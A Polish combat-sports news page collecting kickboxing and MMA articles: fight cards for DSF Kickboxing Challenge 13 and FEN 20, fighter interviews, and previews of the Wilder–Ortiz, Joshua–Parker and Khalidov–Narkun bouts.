2. K-1 (-91 kg) Marcin Bachórz vs Adam Audy

3. K-1 (-75 kg) Dominik Zadora vsAnatoli Hunanyan

4. K-1 (-65 kg) Róża Gumienna vsLucie Mlejnkova

5. K-1 (-71 kg) Adam Gielata vsTadeas Ruzicka

Walki rankingowe w K-1 (3 x 3 min)

K-1 ( 91 kg) Dawid Żółtaszek vsŁukasz Lipniacki

K-1 (-75 kg) Paweł Biszczak vsAbdallah Mabel (Francja/Kamerun)

Walka o pas mistrza świata WAKO PRO w formule K-1 (5 x 3 min)

K-1 (-64,5 kg) Eliasz Jankowski vs Yuriy Zhukovsky (Białoruś)

Walka o pas mistrza świata WAKO PRO w formule Low Kick (5 x 3 min)

Low Kick ( 94,1 kg) Michał Turyńskivs Dzevad Poturak (Bośnia i Hercegowina)

Walka wieczoru o pas DSF Kickboxing Challenge (5 x 3 min)

K-1 (-86 kg) Maksymilian Bratkowicz vs Mateusz Kubiszyn

Transmisję z gali DSF Kickboxing Challenge 13 z Hali Orbita we Wrocławiu przeprowadzi telewizja Canal Sport oraz platformy Player.pl i DSFLIVE.com dostępna za darmo wszędzie poza granicami Polski. Bilety w cenie od 40 PLN są dostępne na ticketclub.pl.

Kto znajdzie się w finale?

Takie pytanie nasuwa się, gdy myślimy o marcowych starciach mistrzowskich w wadze ciężkiej. 3 marca w Barclays Center Deontay Wilder zmierzy się z Luisem Ortizem, zaś 31 marca dojdzie do pojedynku Anthony’ego Joshuy z Josephem Parkerem.

Temperatura rośnie z każdym dniem. Wiosna zapowiada się niezwykle ciekawie, ale to, co najlepsze może dopiero nadejść.

Atmosfera się nakręca

Wokół starcia Wildera i Ortiza musi być gorąco. Innej możliwości nie ma. To nie jest spotkanie dżentelmenów i dyskusja pełna uprzejmości, lecz zdecydowane szarże słowne i pewność siebie z każdej strony. Wilder i Ortiz czują moc, jednak 3 marca jednemu z nich jej zabraknie.

Na pojedynek Amerykanina i Kubańczyka trzeba było trochę poczekać. Walka miała odbyć się jesienią zeszłego roku, dokładnie 4 listopada w Nowym Jorku. Kubański pięściarz został przyłapany na stosowaniu dopingu, pojedynek odwołano. Jednak kilka tygodni później Luis Ortiz został oczyszczony z zarzutów przez federację WBC. Temat walki potężnego „King Konga” z mistrzem świata WBC ponownie wrócił na pierwszy plan. Fani boksu dostaną to, czego chcą i 3 marca w Barclays Center w Nowym Jorku ujrzą dwóch głodnych rywalizacji i zdeterminowanych pięściarzy.

Jak zawsze Wilder jest pewny swego. W końcu 38 z 39 walk wygrał przed czasem. Dotychczas sześciokrotnie bronił mistrzowskiego tytułu. Amerykanin nie ma wątpliwości, że Ortiz będzie jego kolejną ofiarą. – Wygram swoją walkę, znokautuję Ortiza. Zrobię to, co do mnie należy. Jestem artystą nokautu – powiedział Deontay Wilder.

Z kolei Luis Ortiz w Nowym Jorku stanie przed życiową szansą. 38-letni Kubańczyk będzie miał szansę zdobyć pas mistrzowski WBC. W swojej karierze był posiadaczem tymczasowego tytułu WBA, jednak z powodu wykrycia w jego organizmie sterydu anabolicznego został zawieszony na osiem miesięcy i stracił swoją zdobycz. Po licznych perturbacjach Ortiz stanie przed zadaniem pokonania Wildera. – Czekają go największe kłopoty w życiu. Nie takie jak znaleziono u niego trawkę. Obedrę go ze skóry – zapowiada Luis Ortiz.

Nieco spokojniej

Druga wielka walka w wadze ciężkiej zapowiada się równie ciekawie. Na szali pojawią się pasy mistrzowskie IBF, IBO, WBA i WBO. Joseph Parker nazwał Joshuę "królem sterydów". Jednak promotor Nowozelandczyka jest innego zdania i zaleca mu, aby ten skupił się na innych rzeczach. Z kolei Joshua już ma pomysł na Parkera, który słynie z mocnej szczęki. 28-latek z Watfordu planuje obijać korpus rywala.

31 marca w Cardiff nie powinno być nudno. Wtedy już Wilder bądź Ortiz będą wypatrywać potencjalnego rywala o prymat w wadze ciężkiej.

KM

 

Mańkowski bierze porażkę na siebie

Porażka z Roberto Soldiciem była dla Borysa Mańkowskiego niezwykle kosztowna. W Katowicach popularny "Diabeł Tasmański" stracił pas mistrza KSW w wadze półśredniej. Zawodnik nie szuka usprawiedliwień i porażkę bierze na siebie.

Borys Mańkowski stał się jedną z najpopularniejszych twarzy KSW. W maju 2017 roku wystąpił w walce wieczoru gali KSW 39 Colosseum na stadionie PGE Narodowy w Warszawie, gdzie przegrał z Mamedem Khalidovem. Z kolei porażka z Soldiciem zepchnęła go z piedestału.

Nie szuka wymówek

Sześć kolejnych wygranych sprawiło, że Mańkowski dołączył do grona pierwszoplanowych postaci KSW. W maju 2014 roku sięgnął po pas mistrzowski w wadze półśredniej pokonując Aslambeka Saidowa. Tym samym zrewanżował się czeczeńskiemu zawodnikowi za wcześniejszą porażkę. Trzy razy skutecznie bronił pasa, dwa pojedynki zakończył przed czasem. W maju 2017 roku stanął przed prawdziwym wyzwaniem. Na stadionie PGE Narodowy zmierzył się z legendą KSW Mamedem Khalidovem, jednak przegrał na punkty. Mańkowski musiał przełknąć gorycz porażki, ale nadal pozostawał mistrzem, bo stawką rywalizacji z czempionem kategorii średniej nie był żaden pas.

W Katowicach, KSW 41, "Diabeł Tasmański" miał sprawić sobie prezent świąteczny. Ale Roberto Soldić go powstrzymał. Od początku walki Chorwat znakomicie pracował nogami. Mańkowski nie był w stanie zagrozić rywalowi, który konsekwentnie go punktował. W trzeciej rundzie walka toczyła się w parterze, a twarz Polaka była zalana krwią. Po jej zakończeniu, narożnik Mańkowskiego zdecydował o poddaniu pojedynku. Nadszedł czas na wnioski. Głos zabrał sam Mańkowski. – Wróciłem z Tajlandii, od walki minęły 3 tygodnie i jest to odpowiedni czas, by coś napisać na temat ostatniej gali. Jak sami wiecie przegrałem… Nie chce się za bardzo tłumaczyć, szukać wymówek i się żalić nad zaistniałą sytuacją, ale coś powiedzieć trzeba. W pierwszej kolejności, pomimo w tym momencie -porażki – sportowej, jak i mojej osobistej, chciałbym podziękować osobom, które były dla mnie ogromnym wsparciem zarówno przed, jak i po gali – napisał zawodnik na swoim Facebooku.

Iść do przodu

A więc trzeba wyciągnąć wnioski z walki z Soldiciem i walczyć o powrót na szczyt. – Niestety oprócz podziękowań, należą się również przeprosiny, ponieważ poprzez różne osobiste problemy i popełnione błędy, zawalczyłem nie tak jak bym sobie tego życzył… To była tylko i wyłącznie moja wina, nikogo innego. Najważniejsze jest jednak to, by wyciągnąć z tego lekcje i więcej nie zawieść WAS, jak i wszystkich osób których wymieniłem wyżej. Pakuję więc torbę, spotykam się ze swoim sztabem, ustawiamy nowy plan, nowe cele i priorytety i szykuje się do tego, by dać jeszcze parę najlepszych walk wieczoru – tłumaczy Borys Mańkowski.

Fot. Borys Mańkowski Facebook

KM

Wielki powrót Szredera na FEN 20!

Marcin Szreder (5-2) powraca do klatki FEN! Mieszkający na co dzień w Warszawie zawodnik wystapi podczas gali Fight Exclusive Night 20 "Next Level", która 10 marca odbędzie się na Torwarze. Znamy zatem pierwszego bohatera trzeciej walki w formule K-1 podczas jubileuszowej edycji.

Dla Marcina Szredera będzie to piąty występ dla Fight Exclusive Night i siódmy zawodowy pojedynek K-1 w karierze. Zdobywca Pucharu Europy WAKO w K-1 i low kick debiutował w klatkoringu FEN pewnym zwycięstwem na punkty z Niemcem tureckiego pochodzenia Aytakiem Yahsim podczas gali FEN 11 "Warsaw Time". W marcu ubiegłego roku podczas FEN 16 "Warsaw Reloaded" już w pierwszej rundzie pokonał Ihara Kamkou, dwukrotnie powalając go na deski, zanim narożnik Białorusina zdecydował się rzucić na ring ręcznik. Do historii FEN przeszły szczególnie emocjonujące starcia Szredera z Arturem Bizewskim, którego również zobaczymy w akcji 10 marca.

W ciągu najbliższych tygodni poznamy rywala, z którym na FEN 20 zmierzy się Marcin Szreder.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Andrzej Grzebyk – 84 kg
  • TBA VS Paweł Trybała -84 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • TBA VS Kamil Łebkowski -66 kg
  • TBA VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Wielki powrót Szredera na FEN 20!

Marcin Szreder (5-2) powraca do klatki FEN! Mieszkający na co dzień w Warszawie zawodnik wystapi podczas gali Fight Exclusive Night 20 "Next Level", która 10 marca odbędzie się na Torwarze. Znamy zatem pierwszego bohatera trzeciej walki w formule K-1 podczas jubileuszowej edycji.

Dla Marcina Szredera będzie to piąty występ dla Fight Exclusive Night i siódmy zawodowy pojedynek K-1 w karierze. Zdobywca Pucharu Europy WAKO w K-1 i low kick debiutował w klatkoringu FEN pewnym zwycięstwem na punkty z Niemcem tureckiego pochodzenia Aytakiem Yahsim podczas gali FEN 11 "Warsaw Time". W marcu ubiegłego roku podczas FEN 16 "Warsaw Reloaded" już w pierwszej rundzie pokonał Ihara Kamkou, dwukrotnie powalając go na deski, zanim narożnik Białorusina zdecydował się rzucić na ring ręcznik. Do historii FEN przeszły szczególnie emocjonujące starcia Szredera z Arturem Bizewskim, którego również zobaczymy w akcji 10 marca.

W ciągu najbliższych tygodni poznamy rywala, z którym na FEN 20 zmierzy się Marcin Szreder.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Andrzej Grzebyk – 84 kg
  • TBA VS Paweł Trybała -84 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • TBA VS Kamil Łebkowski -66 kg
  • TBA VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Kuryłek: Nie osiadać na laurach

W 2017 roku Patryk Kuryłek (57kg) wszedł na wysokie obroty. Zawodnik MKS Wicher Kobyłka pokazał, że nie chce być tłem dla bardziej doświadczonych rywali i od razu wskoczył na pierwszy plan. Do podopiecznego Grzegorza Engela wręcz idealnie pasuje powiedzenie – „apetyt rośnie w miarę jedzenia”. Kuryłek ciężko trenuje, aby utrzymać się na szczycie.

Poświęcenie, ciężka praca i dążenie do realizacji celu – to recepta na sukces. 21-letni Patryk Kuryłek jest konsekwentny i przy wsparciu trenera Grzegorza Engela doskonali swoje umiejętności, co boleśnie odczuwają rywale.

Pójść za ciosem

Legnica, Kartuzy, Sejny, Kobyłka, Innsbruck, Budapeszt – gdzie się nie pojawił, tam zostawiał po sobie wyraźny ślad. Patryk Kuryłek rozpędzony niczym struś pędziwiatr zwyciężał i zapisywał na swoim koncie kolejne osiągnięcia. Mistrzostwo Polski w K-1 i kick light, brązowy medal mistrzostw świata, trzecie miejsce w zawodach Pucharu Świata, triumf w Pucharze Państw Nadbałtyckich Baltic Cup, a do tego zawodowe mistrzostwo Polski K-1. – Rok 2017 był dla mnie pracowity, ale również udany pod względem sportowym. Sukcesy, które w tym sezonie odniosłem, dają mi dużą satysfakcję. Przede wszystkim są dla mnie wyznacznikiem, że ogrom pracy, którą wykonuję każdego dnia pod okiem trenera Engela przynosi rezultaty. Mimo zwycięstw dalej ciężko trenuję, bo jestem na początku kariery sportowej i jeszcze wiele trofeów do zdobycia. Chcę cały czas się rozwijać i co roku być coraz lepszym zawodnikiem – przedstawia FighTime.pl Patryk Kuryłek.

Mimo młodego wieku, mistrz Polski K-1 zachowuje chłodną głowę. – Skupiam się na tym, aby nie osiadać na laurach i po każdych zawodach mam jeszcze większą motywację do ciężkiej pracy. Wiem, że konkurencja nie śpi – podkreśla zawodnik MKS Wicher Kobyłka.

Kuryłek nie ma zamiaru zwalniać tempa. – Plany na 2018 rok to dużo startów i jeszcze więcej pracy. Ja i mój trener, Grzegorz Engel, chcemy wejść na jeszcze wyższy poziom. W tej chwili trenuję dwa razy dziennie. Oczywiście również w weekendy. Wiem, że tyle pracy, ile włożę teraz zaowocuje w moje przyszłe sukcesy – tłumaczy podopieczny Grzegorza Engela.

Jakie plany?

Mistrz Polski w formułach K-1 i kick light przygotowuje się do kolejnych startów. – Co do harmonogramu zawodów, to planujemy łączyć starty amatorskie z zawodowymi. Z tych pewnych imprez, na których wystartuje to: mistrzostwa Polski K-1 i mistrzostwa Polski kick light. 3 lutego zawalczę na zawodowej gali. Będzie to pierwsza walka w 2018 roku, tak więc trzeba ten sezon dobrze rozpocząć. Co do dalszych startów to "wszystko wyjdzie w praniu". Trenuję cały rok, tak więc na pewno będę gotowy na każde wyzwanie – wyjaśnia Patryk Kuryłek.

Fot. Patryk Kuryłek Facebook

KM

Paczuski przed FEN 20: Spodziewam się 10 marca ogromnego dopingu swoich fanów!

Radosław Paczuski będzie bohaterem walki wieczoru podczas gali Fight Exclusive Night 20 „Next Level”. Jego rywalem 10 marca w warszawskiej hali Torwar będzie Stanisław Zaniewski. Na jakim etapie przygotowań jest Paczuski przed tym pojedynkiem? Co sądzi o swoim rywalu? Ilu kibiców przyjdzie go wspierać do hali? Zapraszamy do przeczytania rozmowy z Radosławem Paczuskim!

Dawno temu dowiedziałeś się o tej walce?

Radosław Paczuski: Około miesiąc temu, na pewno trzy miesiące przed pojedynkiem. Cieszę się z tego powodu, bo mój rywal też widział szybciej, więc obaj będziemy mieli okazję na trzymiesięczne przygotowania, a to z kolei jest gwarancją fajerwerków w klatce.

Walka wieczoru podczas jubileuszowej edycji to chyba miła niespodzianka, prawda?

RP: I w dodatku jest to walka o pas, co cieszy mnie jeszcze bardziej. To mój trzeci występ na FEN – właściciele federacji docenili mnie i chcieli dać mi szansę. Stanisław Zaniewski to bardzo dobry zawodnik, jednak ani razu nie mieliśmy okazji stanąć w klatce naprzeciwko siebie. W różnych rankingach to raz ja byłem lepszy, raz on był nade mną, więc walka na FEN 20 będzie okazją do tego, by raz na zawsze rozstrzygnąć, który z nas jest lepszym zawodnikiem.

Jakie emocje towarzyszą ci, gdy mówisz o swoim rywalu?

RP: Normalne, tak jak zawsze. Dla mnie to pojedynek jak każdy inny. Mierzyłem się z zawodnikami ze światowej czołówki, teraz również przyjdzie mi zawalczyć z kimś bardzo dobrym, ale ja skupiam się na sobie. Wierzę w to, że pokażemy kibicom naprawdę dobre widowisko.

Mieliście się kiedyś okazję skonfrontować podczas sparingów?

RP: Nie, nie walczyliśmy nigdy przeciwko sobie, nawet na treningach, choć poznaliśmy się kiedyś i nawet występowaliśmy podczas tej samej gali. Ja walczyłem wtedy z podopiecznym Staszka i wygrałem w pierwszej rundzie przez nokaut, on krzyżował rękawicę chwilę po mnie z innym rywalem.

Przed tobą dwa miesiące ciężkiej pracy, a potem przyjdzie nagroda – tak wielu zawodników mówi na walkę. To ma być nagroda za trud włożony w czasie przygotowań.

RP: Dokładnie – walka to jest nagroda. Każdy lubi już samą walkę.

Nie chciałeś walczyć podczas poprzednich gal? Ostatnio w klatce FEN widzieliśmy cię w maju.

RP: Był temat mojej wcześniejszej walki… z Pawłem Biszczakiem. Nie dogadaliśmy się jednak, bo limit umowny tego starcia to miało być 80 kilogramów. Ja musiałbym zejść 5kg, Paweł 3 przybrać, ale nie chciał się zgodzić. Powiedział, że on walczy tylko w kategorii 77 kilogramów i nie ma od tego odstępstw. Ja z kolei nie byłem w stanie aż tyle zbić, to byłoby dla mnie wręcz niemożliwe. Ostatecznie do tego starcia nie doszło.

A szkoda. Zwłaszcza po tym, co Biszczak zrobił we Wrocławiu z Igorem Danisem.

RP: No właśnie.

W jakiej ty obecnie jesteś formie? Zacząłeś już przygotowania?

RP: Tak, trenuję od miesiąca, choć prawdę mówiąc jestem typem zawodnika, który nie wychodzi z formy i cały czas trenuję. Pod FEN 20 szykuję się od miesiąca, żeby mieć trzymiesięczny okres treningów za sobą wychodząc do klatki.

Czyli miesiąc temu wskoczyłeś po prostu na inne obroty.

RP: Dokładnie. Rozpocząłem treningi z trenerem Andriejem Mołacznowem. Do tego kontynuuję współpracę z moim bratem Kamilem i Rafałem Pawłowskim. Można powiedzieć, że obecnie mam trzech trenerów. Andriej Mołczanow jest bardzo doświadczony, sam był mistrzem świata wielu prestiżowych federacji. Swoje w ringu już spędził. Daje mi cenne wskazówki, które z dnia na dzień czynią mnie coraz lepszym zawodnikiem. Myślę, że to w marcu będzie już widoczne. Zawsze siła była moją mocną stroną, a do tego dojdzie teraz inteligencja w klatce i jeszcze lepsza technika, nad którą pracuję każdego dnia.

Po raz drugi wystąpisz w oktagonie?

RP: Nie, walczyłem już kilka razy w klatce. Oktagon debiutował w Gdyni, kiedy ja walczyłem na FEN 17, ale wcześniej miałem już okazję w niej występować.

Czyli to może być twój atut?

RP: Nie, na pewno nie, bo Staszek też walczył już w klatce – nawet podczas tej gali, na której razem występowaliśmy. Mamy obaj podobne doświadczenie w tym elemencie, więc szanse na pewno będą takie same.

Analizowałeś już styl Stanisława Zaniewskiego? Kilka osób mówi, że lubi pójść na wymianę, ale ma luki w obronie.

RP: Nie, jeszcze go nie analizowałem. Na razie skupiam się na swoim przygotowaniu. Zostawiam to swoim trenerom.

Będziesz oglądał jego walki przed pojedynkiem?

RP: Nie, nie potrzebuję tego. Zaufam swoim trenerom – oni znają się znakomicie na swojej robocie. Trzeba działać profesjonalnie, więc chcę wyjść z zimną głową do klatki i realizować swoje założenia, które oni mi nakreślili.

Ostatnio pojawił się komentarz pod jednym z wpisów na fan page’u FEN, że pojedynki mistrzowskie w formule K-1 generują większe emocje i zainteresowanie kibiców. Ty się z tym zgodzisz?

RP: Opinie są podzielone, ale moim zdaniem walka w formule K-1 dla zwykłego kibica jest bardziej klarowna i przejrzysta. Gdy pojedynek toczy się w stójce, to widać, kto otrzymuje ciosy i kto przeważa. W parterze nie wszystko jest aż tak czytelne na pierwszy rzut oka i trzeba mieć sporą wiedzę, żeby ocenić właściwie, kto w danej rundzie był lepszy przy starciu na styku.

Dużo twoich kibiców pojawi się 10 marca w Warszawie?

RP: Dużo, na pewno. Podczas mojej ostatniej walki w Torwarze było 500 osób, ale teraz powinno nas być więcej. Myślę, że możemy pobić rekord. Stawką walki jest mistrzowski pas, walczę z dobrym rywalem, do tego jubileusz, pojedynek wieczoru – naprawdę spodziewam się wielu fanów w Torwarze.

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Andrzej Grzebyk – 84 kg
  • TBA VS Paweł Trybała -84 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • TBA VS Kamil Łebkowski -66 kg
  • TBA VS Krzysztof Kułak -84 kg
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Wrzosek przed walką z Bizewskim: Artur, przygotuj sobie w narożniku ręcznik!

Arkadiusz Wrzosek (8-4) zmierzy się w pierwszej obronie pasa mistrzowskiego FEN w formule K-1 z Arturem Bizewskim (7-1). Ich starcie, które zaplanowane jest na 10 marca podczas gali „Next Level”, będzie jedną z atrakcji tego wydarzenia. Świeżo upieczony czempion jest przekonany, że premierowa obrona trofeum będzie dla niego udana i pas zostanie w jego posiadaniu.

Artur Bizewski jest przekonany, że wróci z Warszawy z pasem…

AW: Bardzo dobrze! Jest pewny siebie, tym lepiej dla mnie. Musi być pewny siebie, jeżeli w ogóle chce myśleć o tym, żeby mnie pokonać.

To będzie wasz trzeci pojedynek. Mamy zatem trylogię…

AW: Raz wygrał Artur, w Gdańsku, przed rokiem w Warszawie, już na gali FEN, to ja okazałem się lepszy. Teraz już raz na zawsze rozstrzygniemy, który z nas jest lepszy. Czy on, czy ja.

Jak wspominasz pierwszy pojedynek między wami?

AW: To była moja pierwsza walka w karierze, byłem świeży i niedoświadczony. Galę organizował kolega Artura, na trybunach byli jego kibice, do tego mierzyliśmy się w Trójmieście. Walka była w sobotę, a dowiedziałem się o niej we wtorek. Nie byłem moim zdaniem wtedy gorszy, raz nawet Artur był liczony, bodajże w drugiej rundzie. Dali zwycięstwo jemu, bo walczył u siebie, miał przychylność wielu osób. Ja nie podważałem nigdy tej decyzji – po prostu, tak musiało być.

A jak wspominasz waszą drugą walkę?

AW: Byłem trochę spięty, ale przeważałem, wygrałem u każdego z sędziów, ale z tego co pamiętam, niektórzy mieli wątpliwości, a ja pewnie wygrałem każdą z rund. Artur pokazał się z dobrej strony w połowie jednego starcia, a to było za mało, by mnie pokonać.

No i walczyłeś u siebie.

AW: I teraz też zawalczę. Mistrz będzie bronił pasa na swojej ziemi – tak powinno być. Po raz piąty wystąpię na FEN w Warszawie, po raz trzeci będę miał przyjemność stoczyć pojedynek w Torwarze. Lubię tu rywalizować.

Żeby trema cię nie zjadła.

AW: Nie, już mi to nie grozi. Kiedyś może i trochę się denerwowałem, ale te czasy już za mną. Kibice będą mi pomagali, na pewno sporo ich przybędzie do gali, więc Artur: Bój się!

Powiedziałeś ostatnio, że narożnik Artura musi mieć przygotowany ręcznik, bo będzie potrzebny.

AW: Bo tak będzie. Jemu i jego trenerom będzie potrzebny ręcznik. Lepiej niech mają go w gotowości.

Porażka w Dubaju nie wpłynie źle na ciebie?

AW: Myślę, że nie. Przegrałem, mimo że na punkty prowadziłem. Miałem znakomitego rywala, który należy do światowej czołówki. Taki rzeczy się zdarzają. Chwila gapiostwa, jeden cios i obraz pojedynku się zmienia. Byłem zły na siebie, bo mogłem i powinienem to wygrać.

Nauczyła cię czegoś tamta porażka?

AW: Tak, naprawdę dużo. Paradoksalnie może nawet lepiej, że ona przyszła. Może poczułem się zbyt pewny siebie? Może uciekłem myślami tam, gdzie nie trzeba?

Poczułeś, że jesteś nieśmiertelny?

AW: Nie, to nie tak. Chodzi mi o to, że wiem nad czym pracować i na co uważać. Wiem, że muszę być do końca skoncentrowany, bo inaczej mój rywal będzie polował na jeden cios.

Bizewski będzie polował na jeden cios?

AW: Pewnie tak, ale on nie ma 207 centymetrów wzrostu i nie jest tak silny jak mój rywal z Dubaju. To nie jest ta półka, w pojedynku z Arturem to ja będę miał przewagę siły i fizyki. Nie obawiam się tego, że skończy mnie przed czasem, w ogóle się nie obawiam. Wychodzę po swoje i zwyciężam.

Jak każdy.

AW: Jestem mistrzem federacji, co mam powiedzieć? Rok temu daliśmy super walkę, ale ani przez sekundę nie poczułem się zagrożony. Teraz jestem jeszcze lepszy, w dodatku mam trofeum. Mocno się rozwinąłem przez ten czas.

Artur też dwie walki wygrał.

AW: Nie patrzę na niego, skupiam się na sobie. Ja jestem na pewno lepszym zawodnikiem.

Nie miałeś nawet kiedy opić zdobycia pasa mistrzowskiego FEN.

AW: Nie miałem, a już przed walką z Falinem wiedziałem, że czeka mnie chwilę później kolejne starcie. Byłem przygotowany na ten maraton. Po ewentualnym zwycięstwie w Dubaju miałem jeszcze raz wyjść do ringu.

Czyli byłeś na to gotowy.

AW: Tak, ale nie chciałem walczyć kilkanaście dni po porażce przed czasem, musiałem się zregenerować. Na pewno jednak moja walka w Dubaju, a właściwie to jej zakończenie, nie będą miały na mnie wpływu w starciu z Bizonem. Pewnie wygram ten pojedynek.

Karta walk FEN 20:

  • TBA VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Paweł Trybała -84 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • TBA VS Kamil Łebkowski -66 kg
  • TBA VS Krzysztof Kułak -84 kg
  • TBA VS TBA
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Zaniewski kontra Paczuski w walce wieczoru na FEN 20!

Stanisław Zaniewski (48-16) będzie rywalem Radosława Paczuskiego (18-2-0) podczas walki wieczoru na gali Fight Exclusive Night 20 "Next Level". Pojedynek w formule K-1 odbędzie się na dystansie pięciu rund w kategorii wagowej do 85 kilogramów.

Ostatnim razem w klatce FEN Paczuskiego można było oglądać podczas 17. edycji, która w maju odbyła się w Gdyni. Wtedy to 24-latek pokonał przez techniczny nokaut w pierwszej rundzie Menno Van Roosmalena (20-6-2). Później wystąpił jeszcze raz, ale już poza FEN i tam pokonał przed jednogłośną decyzję sędziów pochodzącego z Niemiec Floriana Krogera.

Stanisław Zaniewski pochodzi z Białorusi, ale od wielu lat żyje i trenuje w Polsce. Bardzo udany był dla niego szczególnie 2016 rok, kiedy to stoczył pięć pojedynków i aż cztery z nich wygrał. W 2017 roku zawodnik z Kalisza w dalszym ciągu utrzymywał dużą intensywność startów, a pod koniec października w Rydze pokazał się z dobrej strony podczas KOK 50, gdzie stoczył wyrównany bój z Nikolai'em Bieloziercievem. Zaniewski uchodzi za zawodnika, który lubi ryzykować i nie boi się wymian. Walki z jego udziałem są zawsze pełne emocji i nagłych zwrotów akcji.

– Podczas poprzednich gal przyzwyczailiśmy naszych fanów do tego, że walki wieczoru z formule K-1 mogą się podobać kibicom i nie inaczej będzie i tym razem. Paczuski kontra Zaniewski to coś, co miałem w głowie od samego początku, gdy tylko ogłosiliśmy, że zorganizujemy FEN 20 w Warszawie. Odliczam już dni do tego starcia – powiedział prezes FEN, Paweł Jóźwiak.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Andrzej Grzebyk – 84 kg
  • TBA VS Paweł Trybała -84 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • TBA VS Kamil Łebkowski -66 kg
  • TBA VS Krzysztof Kułak -84 kg
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Andrzej Grzebyk wystąpi na gali FEN 20!

Znamy nazwisko kolejnego bohatera gali FEN 20 "Next Level". 10 marca w warszawskiej hali Torwar do klatki wyjdzie Andrzej Grzebyk (11-3, 4 KO, 3 SUB). Będzie to dla niego powrót do oktagonu FEN po siedmiu miesiącach przerwy.

Dla Andrzeja Grzebyka będzie to czwarty występ w organizacji FEN – w ostatniej walce na gali FEN 18 "Summer Edition" po znakomitej walce pokonał Marcina Naruszczkę, wczesniej, podczas FEN 14, przez techniczny nokaut po pierwszej rundzie wygrał z Białorusinem Alexeyem Repalovem. Na gali nr 9 "Go For It" natomiast uległ minimalnie na punkty Alessandro Di Chirico. Grzebyk jest znany z bardzo ofensywnego stylu walki  – aż 7 z 11 zwycięstw odniósł przez nokaut lub poddanie. Nieprzeciętnie utalentowany reprezentant Legion Team Tarnów może pochwalić się także zwycięstwami w przeszłości nad tak mocnymi fighterami, jak Mindaugas Verzbickas i Kamil Szymuszowski.

– Jedna gala bez Grzebyka to zdecydowanie zbyt dużo. Szykujemy dużą część ze swojego arsenału na Warszawę i Grzebyk będzie jednym z bohaterów gali "Next Level". Zapewniam, że to jeszcze nie koniec i zaskoczymy fanów kolejnymi nazwiskami – powiedział prezes FEN, Paweł Jóźwiak.

Karta walk FEN 20:

  • TBA VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Paweł Trybała -84 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • TBA VS Kamil Łebkowski -66 kg
  • TBA VS Krzysztof Kułak -84 kg
  • TBA VS Andrzej Grzebyk – 84 kg
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Minęli się w Warszawie, zmierzą się w Łodzi

Dwie niekwestionowane gwiazdy KSW staną naprzeciw siebie 3 marca w Łodzi. Mamed Khalidov kontra Tomasz Narkun. To zestawienie ma być prawdziwą gratką dla kibiców.

Michał Materla, Mateusz Gamrot, Ariane Lipski, Łukasz Jurkowski i Karol Bedrof zaprezentują się w Łodzi. Ale pojedynki z ich udziałem będą jedynie przystawką do rywalizacji Khalidova z Narkunem.

Mistrz z mistrzem

37-letni Khalidov to żywa legenda KSW i zarazem zawodnik, który stał się ulubieńcem tłumów. Wszystko przez jego widowiskowy styl walki. Wszyscy doskonale pamiętają jak mistrz wagi średniej efektownie udusił Matta Londlanda czy też poddał mocnego Melvina Manhoefa. A w pojedynku gwiazd polskiego MMA Khalidov w zaledwie 31 sekund powalił na ziemię Michała Materlę. Zapracował na miano króla KSW. Mówiło się o rozmowach z UFC, jednak ponoć przeszkodą były kwestie finansowe. Dziesięć miesięcy temu 37-latek wystąpił na gali ACB 54, gdzie pokonał Luke'a Barnatta. Aby zapisać na swoim koncie 33 zwycięstwo potrzebował 21 sekund! Później zaprezentował się na KSW 39 na stadionie PGE Narodowy. W superfight Khalidov zmierzył się z ówczesnym mistrzem wagi półśredniej Borysem Mańkowskim. Na przestrzeni trzech rund okazał się lepszy. Ostatnią porażkę Khalidov zanotował blisko osiem lat temu! Trzeba dodać, że w KSW jeszcze nigdy nie przegrał.

